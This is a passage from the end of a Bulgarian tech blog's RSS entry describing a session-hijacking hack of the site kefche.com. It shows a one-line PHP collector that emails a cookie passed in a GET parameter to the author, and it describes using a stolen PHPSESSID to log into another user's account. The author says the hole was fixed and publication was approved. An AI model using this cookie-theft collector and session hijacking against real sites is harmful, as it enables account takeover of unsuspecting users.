<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #990000;">mail</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'mail@domain.com'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'kefche sess'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'c'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>После сменям моето <em>PHPSESSID</em> със стойността на нечие друго потребителско cookie и на следващият клик се озовавам с неговият акаунт <img src='http://bgtechblog.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><em>Инфо: след като оправиха проблема изрично съм поискал разрешение от въпросната администраторка за да публикувам тази статия.</em></p>
No tags for this post.]]></content:encoded>
			<wfw:commentRss>http://bgtechblog.com/2011/08/12/%d0%ba%d0%b0%d0%ba-%d1%85%d0%b0%d0%ba%d0%bd%d0%b0%d1%85-kefche-com/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

